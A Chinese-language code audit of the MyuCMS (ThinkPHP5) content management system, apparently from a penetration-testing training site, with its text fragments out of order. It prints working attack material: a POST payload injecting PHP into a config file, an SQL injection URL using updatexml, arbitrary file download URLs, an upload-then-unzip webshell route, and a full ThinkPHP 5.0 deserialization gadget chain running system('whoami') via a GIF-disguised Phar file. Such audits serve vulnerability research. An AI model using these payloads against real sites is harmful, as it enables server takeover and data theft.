代码审计 TP5二开myucms
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
版本:v2.1.1022
下载地址:https://down.easck.com/code/59956.html#xzdz
Myucms是基于ThinkPHP5开发的,是一个商城内容管理系统
路由访问
http://localhost:81/index.php/bbs/index/index
首先查看有没有开启错误回显、是否开启全局过滤、伪静态后缀
// 错误显示信息,非调试模式有效
'error_message'
// 显示错误信息
'show_error_msg'
=> '页面错误!请稍后再试~',
=> false,
// 默认全局过滤方法 用逗号分隔多个
'default_filter'
=> '',
// URL伪静态后缀
'url_html_suffix'
=> 'html',
找到一处添加板块的方法,看源码
源码如下。看到接受传参的方式是一个 input(post.) ,通过post传参获取所有的内容。直接将获
取的结果使用add方法进行添加,这里的 $data 是一个数组的形式,所以这种情况下不会导致注入
问题
public function add()
{
$category = new CategoryModel();
if (request()->isPost()) {
$data = input('post.');
$data['time'] = time();
if ($category->add($data)) {
return json(array('code' => 200, 'msg' => '添加成功'));
} else {
return json(array('code' => 0, 'msg' => '添加失败'));
}
}
$gzc = $category->catetree();
$this->assign('gzc', $gzc);
return view();
}
还有一处edit的方法,有一个单独传参的 input(‘id’) ,id是会根据主键去查询内容,这里的id就
是个int类型。虽然这个源码没有设置全局过滤,但是这里也不能导致注入产生
public function edit()
{
$category = new CategoryModel();
if (request()->isPost()) {
$data = input('post.');
if ($category->edit($data)) {
return json(array('code' => 200, 'msg' => '修改成功'));
} else {
return json(array('code' => 0, 'msg' => '修改失败'));
}
}
$gzc = $category->find(input('id'));
$gzcs = $category->catetree();
$this->assign(array('gzcs' => $gzcs, 'gzc' => $gzc));
return view();
}
以下这几种查询,会将语句变为数组,防止了SQL注入的产生
db('category')->where('id', $change)->update(['sidebar' => 0]);
if($banner->destroy(input('post.id'))){
在系统管理->网站配置处存在一处上传,首先看一下上传的功能代码
先上传一个图片,看一下路由,然后根据路由找到相应的文件 来到 application/admin/controller/Upload.php/upfile ,这里首先会验证session,需要登陆。然 跟踪 model->upfile ,因为这个控制器继承了model模块,所以这里需要找到model下的upfile方 这里通过request()->file($filename),获取全部的文件。通过下面的处理文件上传的方式会获取 如果上传过一次文件,文件会保存在数据库的file表,然后存储。 这里是通过 $file->hash(‘md5’); 计算,然后再通过 Db::name(‘file’)->where(‘md5’, $md5)- 在application/extra/web.php中可以看到 如何导致任意文件上传? 这个方法在网站配置->更多设置 处进行更改。这里的附件格式可控,那么就可以添加一个新后
既然这里可以修改任意的后缀,可以修改任意的内容,如果这里不进行参数过滤是否有办法达写
其他几处亦是如此,找一个内容少的qq.php,尝试利用
构造poc写入文件 写入成功是这样 然后访问 application/extra/qq.php ,就会在当前目录生成一个php文件 来到前台的上传 application/index/controller/Upload.php ,看如下两个方法都是请求上传。使 发起的请求会来到upfile方法,上面已经知道了web.php可以重写覆盖,那么就可以写入一个新的
在application/admin/controller/Shops.php/doUploadPic 界面功能点在商城管理->商品管理->添加商品 此处就是获取一个 FileName ,然后调用 move 方法进行移动。 这里相比于上面的上传没有进行validate验证,直接可以上传文件且没有验证session 好多文件都存在这个doUploadPic方法 这里的代码也是很直接,没有验证身份,没有进行过滤,直接调用 deleteun 方法进行文件删除 跟踪 deleteun 方法,这个方法有点危险直接删除了目录下的所有内容,必须是指定目录才可以循
在 application/bbs/controller/User.php/xiaoxidel 处,此处是前台bbs模块的一个消息阅读和消息删除的功能 对应的功能图片 这里前台模块需要编写路由才能正常点击跳转,否则只能在浏览器拼接路径去访问。正常应该 这里的标记阅读和删除阅读的内容都存在SQL注入漏洞,主要是在where语句。此处直接拼接的 正常访问 index.php/bbs/user/xiaoxidel/ids/0/id/1 构造非法的请求,在TP的报错页面可以看到生成的SQL语句 构造注入参数
在 application/bbs/controller/index.php/bankuai ,同样存在以上问题 通过全局搜索还是有很多存在注入问题,虽然有的验证了sessions,但是前台可以注册,注册完之 在 application/bbs/controller/Index.php/download 处是一个文件下载功能 调用这个方法下载任意文件
在 application/admin/controller/Index.php/sj 处,存在可控传参 title ,然后调用了 getFile 跟踪到getFile文件,此处传递的参数一一对应,在下方 $fp2 = @fopen($save_dir . $filename,’a’); 进行了文件写入,写入的内容就是 title 可控的文件,生成的文件名就是 $filename 执行任意文件下载,会显示升级成功,那么文件去哪里了? 文件会在 runtime/myucms/shengji.zip 这里,直接访问下载这里不能直接打开,需要修改名字为 index.php 可以读文件,那么就可以读取远程文件,然后写到服务器。 读取远程服务器文件,写入 runtime/myucms/shengji.zip
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序 利用Phar反序列化首先需要一条TP5.0的链子,下面也是百度来的 然后找到Phar反序列化的触发点,以上给的函数都可触发Phar反序列化,所以可以在源代码中寻 接着构造Phar反序列化payload,$object就是上面反序列化链的对象,自行更改 生成Phar文件 前台存在上传,由于是白名单,可将phar的后缀改为gif,进行上传 readfile触发Phar反序列化
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅 需要渗透测试培训联系
后调用了 model->upfilepublic function upfile()
{
if (!session('userid') || !session('username')) {
$this->error('亲!请登录',url('bbs/login/index'));
} else {
return json($this->model->upfile('files'));
}
}
法。
最终找到Up继承了Model类,上面的调用会来到这里
public function upfile($type,$filename = 'file',$is_water = false){
if (config('web.qiniuopen') == 1) {
$driverConfig = array('secrectKey' => config('web.secrectKey'), 'accessKey'
=> config('web.accessKey'), 'domain' => config('web.domain'), 'bucket' =>
config('web.bucket'));
$setting = array('rootPath' => './', 'saveName' => array('uniqid', ''),
'hash' => true);
$setting['exts'] = explode(',', config('web.WEB_RXT'));
$setting['maxSize'] = 50 * 1024 * 1024;
$File = $_FILES['file'];
$Upload = new Upload($setting, 'Qiniu', $driverConfig);
$info = $Upload->uploadOne($File);
if ($info) {
......
//默认会进入else判断
} else {
$file = request()->file($filename);
$md5 = $file->hash('md5');
$n = Db::name('file')->where('md5', $md5)->find();
if (empty($n)) {
$info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' =>
config('web.WEB_RXT')])->move(ROOT_PATH . DS . 'uploads');
if ($info) {
$path = DS . 'uploads' . DS . $info->getSaveName();
$path = str_replace("", "/", $path);
$realpath = WEB_URL . $path;
$data['sha1'] = $info->sha1();
$data['md5'] = $info->md5();
$data['create_time'] = time();
$data['uid'] = session('userid');
$data['download'] = 0;
$data['size'] = $info->getSize();
$fileinfo = $info->getInfo();
$data['name'] = $fileinfo['name'];
$data['ext'] = $info->getExtension();
$data['savepath'] = $path;
$data['savename'] = $info->getFilename();
$data['mime'] = $fileinfo['type'];
Db::name('file')->insert($data);
$res = Db::name('file')->getLastInsID();
if ($res > 0) {
return array('code' => 200, 'msg' => '上传成功', 'hasscore' =>
0, 'ext' => $data['ext'], 'id' => $res, 'path' => $path, 'headpath' => $realpath, 'md5'
=> $data['md5'], 'savename' => $data['savename'], 'filename' => $data['name'], 'info'
=> $info->getInfo());
} else {
return array('code' => 0, 'msg' => '上传失败');
}
} else {
return array('code' => 0, 'msg' => $file->getError());
}
} else {
$path = $n['savepath'];
$realpath = WEB_URL . $path;
return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext'
=> $n['ext'], 'id' => $n['id'], 'path' => $path, 'headpath' => $realpath, 'md5' =>
$n['md5'], 'savename' => $n['savename'], 'filename' => $n['name'], 'info' => $n);
}
}
到 $_FILE 的所有内容
public function file($name = '')
{
if (empty($this->file)) {
$this->file = isset($_FILES) ? $_FILES : [];
}
if (is_array($name)) {
return $this->file = array_merge($this->file, $name);
}
$files = $this->file;
if (!empty($files)) {
// 处理上传文件
$array = [];
foreach ($files as $key => $file) {
if (is_array($file['name'])) {
$item = [];
$keys = array_keys($file);
$count = count($file['name']);
for ($i = 0; $i < $count; $i++) {
if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name']
[$i])) {
continue;
}
$temp['key'] = $key;
foreach ($keys as $_key) {
$temp[$_key] = $file[$_key][$i];
}
$item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);
}
$array[$key] = $item;
} else {
if ($file instanceof File) {
$array[$key] = $file;
} else {
if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {
continue;
}
$array[$key] = (new File($file['tmp_name']))-
>setUploadInfo($file);
}
}
}
if (strpos($name, '.')) {
list($name, $sub) = explode('.', $name);
}
if ('' === $name) {
// 获取全部文件
return $array;
} elseif (isset($sub) && isset($array[$name][$sub])) {
return $array[$name][$sub];
} elseif (isset($array[$name])) {
return $array[$name];
}
}
return;
>find(); 去查询,如果有内容,就会返回那个路径信息,不会覆盖上传。
在这里会验证上传的后缀类型,后缀白名单判断。
$info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' => config('web.WEB_RXT')])-
>move(ROOT_PATH . DS . 'uploads');
WEB_RXT'=>'rar,png,zip,jpg,gif,ico'
如果验证成功会在move方法进行文件上传
/* 移动文件 */
if ($this->isTest) {
rename($this->filename, $filename);
} elseif (!move_uploaded_file($this->filename, $filename)) {
$this->error = 'upload write error';
return false;
}
在 application/admin/controller/Config.php/add 方法中,可以将获取的参数添加到web.php
public function add()
{
$path = 'application/extra/web.php';
$file = include $path;
$config = array(
'WEB_RXT' => input('WEB_RXT'),
'WEB_GL' => input('WEB_GL'),
'WEB_REG' => input('WEB_REG'),
'WEB_TAG' => input('WEB_TAG'),
'WEB_OPE' => input('WEB_OPE'),
'WEB_BUG' => input('WEB_BUG'),
'WEB_BBS' => input('WEB_BBS'),
'WEB_SHOP' => input('WEB_SHOP'),
'WEB_INDEX' => input('WEB_INDEX'),
'WEB_KEJIAN' => input('WEB_KEJIAN'),
'WEB_KEJIANS' => input('WEB_KEJIANS'),
'Cascade' => input('Cascade'),
//七牛
'bucket' => input('bucket'),
'accessKey' => input('accessKey'),
'secrectKey' => input('secrectKey'),
'domain' => input('domain'),
'qiniuopen' => input('qiniuopen'),
);
$res = array_merge($file, $config);
$str = '<?php return [';
foreach ($res as $key => $value) {
$str .= ''' . $key . ''' . '=>' . ''' . $value . ''' . ',';
}
$str .= ']; ';
if (file_put_contents($path, $str)) {
return json(array('code' => 200, 'msg' => '修改成功'));
} else {
return json(array('code' => 0, 'msg' => '修改失败'));
}
缀,然后写入web.php,再次进行上传的时候验证白名单,而白名单就是我们自己设置的。这样
就可以导致一处任意文件上传。
入webshell
直接访问web.php是空白的,因为再写入的时候开头会有个return,但是在add方法中也看到了存
在包含的关系
$path = ‘application/extra/web.php’;
$file = include $path;
在上面熟悉TP代码的时候,是没有看到全局过滤的,那么就可以直接写入 ‘];phpinfo();// 写入一
段代码
可以看到是写入成功的public function addqq()
{
$path = 'application/extra/qq.php';
$file = include $path;
$config = array(
'qq-appid' => input('qq-appid'),
'qq-appkey' => input('qq-appkey'),
'qq-callback' => input('qq-callback'),
);
$res = array_merge($file, $config);
$str = '<?php return [';
foreach ($res as $key => $value) {
$str .= ''' . $key . ''' . '=>' . ''' . $value . ''' . ',';
}
$str .= ']; ';
if (file_put_contents($path, $str)) {
return json(array('code' => 200, 'msg' => '修改成功'));
} else {
return json(array('code' => 0, 'msg' => '修改失败'));
}
}
GET:
http://192.168.0.100:81/admin.php/config/addqq.html
POST:
qq-appid=0000&qq-appkey=00000&qq-
callback=http://www.xxx.com/index/qq/qqcb.html',file_put_contents("NaMi.php","success")];/
return ['qq-appid'=>'0000','qq-appkey'=>'00000','qq-
callback'=>'http://www.xxx.com/index/qq/qqcb.html',file_put_contents("NaMi.php","success")
用 $this->model->upfile 来发起上传请求
public function upimage()
{
if (!session('userid') || !session('username')) {
$this->error('亲!请登录',url('bbs/login/index'));
} else {
return json($this->model->upfile('images'));
}
}
public function upfile()
{
if (!session('userid') || !session('username')) {
$this->error('亲!请登录',url('bbs/login/index'));
} else {
return json($this->model->upfile('files'));
}
}
后缀来进行一个任意文件上传。
public function upfile($type,$filename = ‘file’,$is_water = false){
public function doUploadPic()
{
$file = request()->file('FileName');
$info = $file->move(ROOT_PATH . DS . 'uploads');
if($info){
$path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName();
echo str_replace("","/",$path);
}
}
public function move($path, $savename = true, $replace = true)
{
// 文件上传失败,捕获错误代码
if (!empty($this->info['error'])) {
$this->error($this->info['error']);
return false;
}
// 检测合法性
if (!$this->isValid()) {
$this->error = 'upload illegal files';
return false;
}
// 验证上传
if (!$this->check()) {
return false;
}
$path = rtrim($path, DS) . DS;
// 文件保存命名规则
$saveName = $this->buildSaveName($savename);
$filename = $path . $saveName;
// 检测目录
if (false === $this->checkPath(dirname($filename))) {
return false;
}
// 不覆盖同名文件
if (!$replace && is_file($filename)) {
$this->error = ['has the same filename: {:filename}', ['filename' =>
$filename]];
return false;
}
/* 移动文件 */
if ($this->isTest) {
rename($this->filename, $filename);
} elseif (!move_uploaded_file($this->filename, $filename)) {
$this->error = 'upload write error';
return false;
}
// 返回 File 对象实例
$file = new self($filename);
$file->setSaveName($saveName)->setUploadInfo($this->info);
return $file;
}
$file->validate([‘size’ => 50 * 1024 * 1024, ‘ext’ => config(‘web.WEB_RXT’)])
上传php
public function un()
{
$info = $_GET['info'];
$res=deleteun(ROOT_PATH.'application/bbs/view'.DS.$info);
if ($res) {
return json(array('code' => 200, 'msg' => '删除成功'));
}else{
return json(array('code' => 0, 'msg' => '删除失败'));
}
}
环删除
//循环删除目录和文件函数
function deleteun($dir_name)
{
$result = false;
if (is_dir($dir_name)) {
if ($handle = opendir($dir_name)) {
while (false !== ($item = readdir($handle))) {
if ($item != '.' && $item != '..') {
if (is_dir($dir_name . DS . $item)) {
deleteun($dir_name . DS . $item);
} else {
unlink($dir_name . DS . $item);
}
}
}
closedir($handle);
if (rmdir($dir_name)) {
$result = true;
}
}
}
return $result;
}
public function xiaoxidel($ids)
{
if (!session('userid') || !session('username')) {
$this->error('亲!请登录',url('bbs/login/index'));
} else {
if ($ids==0) {
$id = input('id');
$data['open'] = 1;
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid',
session('userid'))->update($data)) {
return json(array('code' => 200, 'msg' => '标记已读成功'));
} else {
return json(array('code' => 0, 'msg' => '标记已读失败'));
}
}elseif ($ids==1){
$id = input('id');
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid',
session('userid'))->delete($id)) {
return json(array('code' => 200, 'msg' => '彻底删除成功'));
} else {
return json(array('code' => 0, 'msg' => '彻底删除失败'));
}
}
}
}
是 /index.php/bbs/user/shoucang.html
SQL语句。如果改为数组形式的传参就可以避免此处的问题 where(“id”,$id) ,后台的增删改查功
能都是使用这样的条件语句
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))-
>update($data)) {
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))-
>delete($id)) {
/index.php/bbs/user/xiaoxidel/ids/0/id/1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
public function bankuai()
{
$id = input('id');
if (empty($id)) {
return $this->error('亲!你迷路了');
} else {
$category = Db::name('category');
$c = $category->where("id = {$id}")->find();
在 application/shop/controller/Index.php/grid 列表功能
public function grid($or)
{
$or = input('or');
$this->assign('or', $or);
$id = input('id');
$this->assign('id', $id);
if (empty($id)) {
$open['open'] = 1;
$gzc = Db::name('shops')->alias('f')->join('shopcate c', 'c.id=f.tid')-
>join('member m', 'm.userid=f.uid')->field('f.*,c.id as
cid,m.userid,m.userhead,m.username,c.name,c.description')->where($open)-
>order('f.settop desc , f.'.$or.' desc') -> paginate(16,false,['query' => request()-
>param()]);
$this->assign('gzc', $gzc);
$shopcate = Db::name('shopcate');
$gzcz = $shopcate->where("tid = 0")->order('sort desc')->select();
$gjmz = $shopcate->where("tid != 0")->order('sort desc')->select();
$this->assign('gzcz', $gzcz);
$this->assign('gjmz', $gjmz);
$ids = -1;
$this->assign('ids', $ids);
} else {
$shopcate = Db::name('shopcate');
$c = $shopcate->where("id = {$id}")->find();
if ($c) {
$shopcate = Db::name('shopcate');
$gzcz = $shopcate->where("tid = 0")->order('sort desc')->select();
$gjmzt = $shopcate->where("id = {$id}")->value('tid');
后就会生成session
public function download($url, $name, $local)
{
$down = new Http();
if ($local == 1) {
$down->download($url, $name);
} else {
}
}
调用了 HTTP->download ,跟踪这个类。判断是否是个文件,然后读取内容下载文件
static public function download ($filename, $showname='',$content='',$expire=180) {
if(is_file($filename)) {
$length = filesize($filename);
}elseif($content != '') {
$length = strlen($content);
}else {
throw_exception($filename.L('下载文件不存在!'));
}
if(empty($showname)) {
$showname = $filename;
}
$showname = basename($showname);
if(!empty($filename)) {
$type = mime_content_type($filename);
}else{
$type
= "application/octet-stream";
}
//发送Http Header信息 开始下载
header("Pragma: public");
header("Cache-control: max-age=".$expire);
//header('Cache-Control: no-store, no-cache, must-revalidate');
header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");
header("Content-Disposition: attachment; filename=".$showname);
header("Content-Length: ".$length);
header("Content-type: ".$type);
header('Content-Encoding: none');
header("Content-Transfer-Encoding: binary" );
if($content == '' ) {
readfile($filename);
}else {
echo($content);
}
exit();
}
http://localhost:81/index.php/bbs/index/download/url/index.php/name/index.php/l
ocal/1
http://localhost:81/index.php/bbs/index/download?
url=thinkphp/start.php&name=&local=1
public function sj()
{
$xiazai = $_POST['title'];
$url=$xiazai.urlencode(iconv("GB2312","UTF-8",""));
$save_dir = 'runtime/myucms/';
$filename ='shengji.zip';
$res = getFile($url, $save_dir, $filename,0);
return json(array('code' => 200, 'msg' => '升级成功'));
}
function getFile($url, $save_dir = '', $filename = '', $type = 0) {
if (trim($url) == '') {
return false;
}
if (trim($save_dir) == '') {
$save_dir = './';
}
if (0 !== strrpos($save_dir, '/')) {
$save_dir.= '/';
}
if (!file_exists($save_dir) && !mkdir($save_dir, 0777, true)) {
return false;
}
if ($type) {
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$content = curl_exec($ch);
curl_close($ch);
} else {
ob_start();
readfile($url);
$content = ob_get_contents();
ob_end_clean();
}
$size = strlen($content);
$fp2 = @fopen($save_dir . $filename, 'a');
fwrite($fp2, $content);
fclose($fp2);
unset($content, $url);
}
读取到文件
看这段,这是解压的方法,直接解压固定路径的zip文件。通过上面我们可以任意的写入文件,然
后可以通过这个解压的操作解压出一个php文件
//解压
public function ad()
{
$zip = new ZipArchive;
if ($zip->open('runtime/myucms/shengji.zip') === TRUE)
{
$zip->extractTo('application');
$zip->close();
unlink('runtime/myucms/shengji.zip');
header("content-type:text/html;charset=utf-8");
header('location:/admin.php/index/home.html');
}
}
调用ad方法进行解压
http://localhost:81/admin.php/index/ad
然后就可以访问解压的文件了
http://localhost:81/application/exp.php
列化,受影响的函数如下:
namespace thinkprocesspipes{
use thinkmodelPivot;
ini_set('display_errors',1);
class Windows{
private $files = [];
public function __construct($function,$parameter)
{
$this->files = [new Pivot($function,$parameter)];
}
}
$aaa = new Windows('system','whoami');
echo base64_encode(serialize($aaa));}
namespace think{
abstract class Model
{}
}
namespace thinkmodel{
use thinkModel;
use thinkconsoleOutput;
class Pivot extends Model
{
protected $append = [];
protected $error;
public $parent;
public function __construct($function,$parameter)
{
$this->append['jelly'] = 'getError';
$this->error = new relationBelongsTo($function,$parameter);
$this->parent = new Output($function,$parameter);
}
}
abstract class Relation
{}
}
namespace thinkmodelrelation{
use thinkdbQuery;
use thinkmodelRelation;
abstract class OneToOne extends Relation
class BelongsTo extends OneToOne
{
{}
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct($function,$parameter)
{
$this->selfRelation = false;
$this->query = new Query($function,$parameter);
$this->bindAttr = [''];
}
}
}
namespace thinkdb{
use thinkconsoleOutput;
class Query
{
protected $model;
public function __construct($function,$parameter)
{
}
$this->model = new Output($function,$parameter);
}
}
namespace thinkconsole{
use thinksessiondriverMemcache;
class Output
{
protected $styles = [];
private $handle;
public function __construct($function,$parameter)
{
$this->styles = ['getAttr'];
$this->handle = new Memcache($function,$parameter);
}
}
}
namespace thinksessiondriver{
use thinkcachedriverMemcached;
class Memcache
{
protected $handler = null;
protected $config = [
'expire'
=> '',
'session_name' => '',
];
public function __construct($function,$parameter)
{
$this->handler = new Memcached($function,$parameter);
}
}
}
namespace thinkcachedriver{
use thinkRequest;
class Memcached
{
protected $handler;
protected $options = [];
protected $tag;
public function __construct($function,$parameter)
{
$this->options = ['prefix' => 'jelly/'];
$this->tag = true;
$this->handler = new Request($function,$parameter);
}
}
}
namespace think{
class Request
{
protected $get
= [];
protected $filter;
public function __construct($function,$parameter)
{
$this->filter = $function;
$this->get = ["jelly"=>$parameter];
}
}
}
找
在前台的download方法中,参数可控,可导致Phar反序列化。这里直接注册个会员就可以
static public function download ($filename, $showname='',$content='',$expire=180) {
if(is_file($filename)) {
$length = filesize($filename);
}elseif($content != '') {
$length = strlen($content);
}else {
throw_exception($filename.L('下载文件不存在!'));
}
if(empty($showname)) {
$showname = $filename;
}
$showname = basename($showname);
if(!empty($filename)) {
$type = mime_content_type($filename);
}else{
$type
= "application/octet-stream";
}
//发送Http Header信息 开始下载
header("Pragma: public");
header("Cache-control: max-age=".$expire);
//header('Cache-Control: no-store, no-cache, must-revalidate');
header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");
header("Content-Disposition: attachment; filename=".$showname);
header("Content-Length: ".$length);
header("Content-type: ".$type);
header('Content-Encoding: none');
header("Content-Transfer-Encoding: binary" );
if($content == '' ) {
readfile($filename);
}else {
echo($content);
}
exit();
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$phar -> setMetadata($object);
$phar -> stopBuffering();
index.php/index/upload/upimage.html
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/5614.html